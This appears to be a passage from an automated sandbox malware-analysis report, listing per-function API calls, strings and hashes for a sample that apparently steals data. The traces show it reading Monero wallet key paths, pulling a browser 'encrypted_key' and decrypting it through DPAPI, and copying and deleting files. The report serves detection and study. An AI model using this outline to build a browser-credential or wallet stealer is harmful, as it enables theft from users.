RtlAllocateHeap.NTDLL(00000000), ref: 008A12BB
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 008A12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 008A12F5
RegCloseKey.ADVAPI32(?), ref: 008A12FF

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 4880c900c6c29f6c3e15e035f9f0250bd78fe447346f3cc662a8bc412488e86f
Instruction ID: b4beb1bd30de63aba92cba24637eccb040bff4d8b7e7fc01788f7fea64f2753e
Opcode Fuzzy Hash: 4880c900c6c29f6c3e15e035f9f0250bd78fe447346f3cc662a8bc412488e86f
Instruction Fuzzy Hash: F201E1B9A40248BFDB14DFE4DC89FAEB7B8EB58701F108159FA05DB280D675AA018F51

Function 008BC84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 008BC8EC
___crtLCMapStringA.LIBCMT ref: 008BC90C
___crtLCMapStringA.LIBCMT ref: 008BC931

Strings

, xrefs: 008BC896

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 9df2bc4144788da144407dfe84232dd707c84d2bc8eb1b8c036d156c26f5e26b
Instruction ID: 659d5d951d148949a0c26a257cbdc370d4d479476a7365af06b160f00def3e1e
Opcode Fuzzy Hash: 9df2bc4144788da144407dfe84232dd707c84d2bc8eb1b8c036d156c26f5e26b
Instruction Fuzzy Hash: 1341E67150075C5EEB218B288D85FFB7FE8FB45708F1444E8E98AC6282E2719A45CF61

Function 008B6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 008B6663

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

ShellExecuteEx.SHELL32(0000003C), ref: 008B6726
ExitProcess.KERNEL32 ref: 008B6755

Strings

<, xrefs: 008B66D9

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: e7d5c4636700305feaf1a98ee92fc575518d43d95e83dbae16641ead25e32433
Instruction ID: 6ce7aa68284e9569fbe28f3c3b307876718a7f339028a76d5a5d8ba6fbe9b80c
Opcode Fuzzy Hash: e7d5c4636700305feaf1a98ee92fc575518d43d95e83dbae16641ead25e32433
Instruction Fuzzy Hash: EF312DB1801218AADB18EB94DC91BDD7B7CFF14300F404199F215A6291DF746B49CF66

Function 008B87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,008C0E28,00000000,?), ref: 008B882F
RtlAllocateHeap.NTDLL(00000000), ref: 008B8836
wsprintfA.USER32 ref: 008B8850

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Strings

%dx%d, xrefs: 008B8847

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: e4ae1d051de5c86f5e35f346892ebd6eef9299bf5744b9c4a7c1b22074dc2170
Instruction ID: 81c0b68861c33fb93aae23fe141e97c78bb95daf3551860b393ea2cccc6ef3d5
Opcode Fuzzy Hash: e4ae1d051de5c86f5e35f346892ebd6eef9299bf5744b9c4a7c1b22074dc2170
Instruction Fuzzy Hash: C021FEB1A44248AFDB04DFD4DD85FAEBBB8FB49711F104519F605EB280C779A9018BA2

Function 008B8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,008B951E,00000000), ref: 008B8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 008B8D62
wsprintfW.USER32 ref: 008B8D78

Strings

%hs, xrefs: 008B8D6F

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 5ed4ecc9a91c637e7eb455aff0625e81eab0b8b9478dfae48bbe63ab8a176d21
Instruction ID: 65d18f8d3add212fe5177e21684a6aa0b876139e8af1904ebda3dde31a996bd6
Opcode Fuzzy Hash: 5ed4ecc9a91c637e7eb455aff0625e81eab0b8b9478dfae48bbe63ab8a176d21
Instruction Fuzzy Hash: B3E08CB1A40208FBC700DFD4DC4AE697BB8EB08702F004098FD09CB280DA71AE018B92

Function 008AA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

Part of subcall function 008B8B60: GetSystemTime.KERNEL32(008C0E1A,01429D18,008C05AE,?,?,008A13F9,?,0000001A,008C0E1A,00000000,?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008B8B86

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 008AA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 008AA3FF
lstrlen.KERNEL32(00000000), ref: 008AA6BC

Part of subcall function 008BA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008BA7E6

DeleteFileA.KERNEL32(00000000), ref: 008AA743

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 5ce84c798e8b5063be2fdc2556f1e2a246f0f17e42e9fdc31f3bafa6d4b84089
Instruction ID: 787b59fe31fa1b89e2f1b66dd5cacb5f82a68d23ae1f9e658e4f808d3abd339e
Opcode Fuzzy Hash: 5ce84c798e8b5063be2fdc2556f1e2a246f0f17e42e9fdc31f3bafa6d4b84089
Instruction Fuzzy Hash: D0E1D272810118AADB19EBA8DC95EEE7338FF14300F508169F516F65A1EF346A49CB63

Function 008AD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

Part of subcall function 008B8B60: GetSystemTime.KERNEL32(008C0E1A,01429D18,008C05AE,?,?,008A13F9,?,0000001A,008C0E1A,00000000,?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008B8B86

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 008AD481
lstrlen.KERNEL32(00000000), ref: 008AD698
lstrlen.KERNEL32(00000000), ref: 008AD6AC
DeleteFileA.KERNEL32(00000000), ref: 008AD72B

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: e525463cc157aad5704adbd47bf043d4afdc35766093f3bd1644ab4469e07271
Instruction ID: fef5633289d01aa2e8342a7fbbd8b2e90755bcb468ebfa0647ffd17220de2b33
Opcode Fuzzy Hash: e525463cc157aad5704adbd47bf043d4afdc35766093f3bd1644ab4469e07271
Instruction Fuzzy Hash: C491D271910118AADB18EBA8DC95DEE7338FF14300F504169F517F65A1EF346A49CB63

Function 008AD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008BA9B0: lstrlen.KERNEL32(?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008BA9C5
Part of subcall function 008BA9B0: lstrcpy.KERNEL32(00000000), ref: 008BAA04
Part of subcall function 008BA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008BAA12

Part of subcall function 008BA8A0: lstrcpy.KERNEL32(?,008C0E17), ref: 008BA905

Part of subcall function 008B8B60: GetSystemTime.KERNEL32(008C0E1A,01429D18,008C05AE,?,?,008A13F9,?,0000001A,008C0E1A,00000000,?,01428900,?,\Monero\wallet.keys,008C0E17), ref: 008B8B86

Part of subcall function 008BA920: lstrcpy.KERNEL32(00000000,?), ref: 008BA972
Part of subcall function 008BA920: lstrcat.KERNEL32(00000000), ref: 008BA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 008AD801
lstrlen.KERNEL32(00000000), ref: 008AD99F
lstrlen.KERNEL32(00000000), ref: 008AD9B3
DeleteFileA.KERNEL32(00000000), ref: 008ADA32

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 357e664747db91c0eca1e9fc2ebe30bbf7cfd39149e9e194a8303ac2df402e9a
Instruction ID: ec17dd6886e4e3e6ab18a573ad27262d9815e75d38dd93768981ca07108ab827
Opcode Fuzzy Hash: 357e664747db91c0eca1e9fc2ebe30bbf7cfd39149e9e194a8303ac2df402e9a
Instruction Fuzzy Hash: BF81D171910118AADB18FBA8DC95DEE7738FF54300F504528F516F66A1EF346A09CB63

Function 008B3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 453bf3b7855818723af038b0a7982670bd3ec814eee8a26175d31ea02e5307d7
Instruction ID: 1c4fb92cdac34bfad4c1ca793281aa1c4ea37fc504cbe2e38acddc08ef65939f
Opcode Fuzzy Hash: 453bf3b7855818723af038b0a7982670bd3ec814eee8a26175d31ea02e5307d7
Instruction Fuzzy Hash: 4D412E75D10109EBCB08EFE4D895AEEB774FB54704F008418F416B6390DB75AA49DFA2

Function 008A9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 008BA740: lstrcpy.KERNEL32(008C0E17,00000000), ref: 008BA788

Part of subcall function 008A99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008A99EC
Part of subcall function 008A99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 008A9A11
Part of subcall function 008A99C0: LocalAlloc.KERNEL32(00000040,?), ref: 008A9A31
Part of subcall function 008A99C0: ReadFile.KERNEL32(000000FF,?,00000000,008A148F,00000000), ref: 008A9A5A
Part of subcall function 008A99C0: LocalFree.KERNEL32(008A148F), ref: 008A9A90
Part of subcall function 008A99C0: CloseHandle.KERNEL32(000000FF), ref: 008A9A9A

Part of subcall function 008B8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 008B8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 008A9D39

Part of subcall function 008A9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,008A4EEE,00000000,00000000), ref: 008A9AEF
Part of subcall function 008A9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,008A4EEE,00000000,?), ref: 008A9B01
Part of subcall function 008A9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,008A4EEE,00000000,00000000), ref: 008A9B2A
Part of subcall function 008A9AC0: LocalFree.KERNEL32(?,?,?,?,008A4EEE,00000000,?), ref: 008A9B3F

Part of subcall function 008A9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 008A9B84
Part of subcall function 008A9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 008A9BA3
Part of subcall function 008A9B60: LocalFree.KERNEL32(?), ref: 008A9BD3

Strings

DPAPI, xrefs: 008A9D89
"encrypted_key":", xrefs: 008A9D30
, xrefs: 008A9DC1

Memory Dump Source

Source File: 00000000.00000002.2084582320.00000000008A1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008A0000, based on PE: true

Associated: 00000000.00000002.2084561032.00000000008A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000951000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.000000000095D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000982000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084582320.0000000000AEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000AFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000C8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D6D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000D9C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2085054907.0000000000DAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086118949.0000000000DAB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086265926.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2086287887.0000000000F4E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8a0000_file.jbxd

Yara matches

Similarity

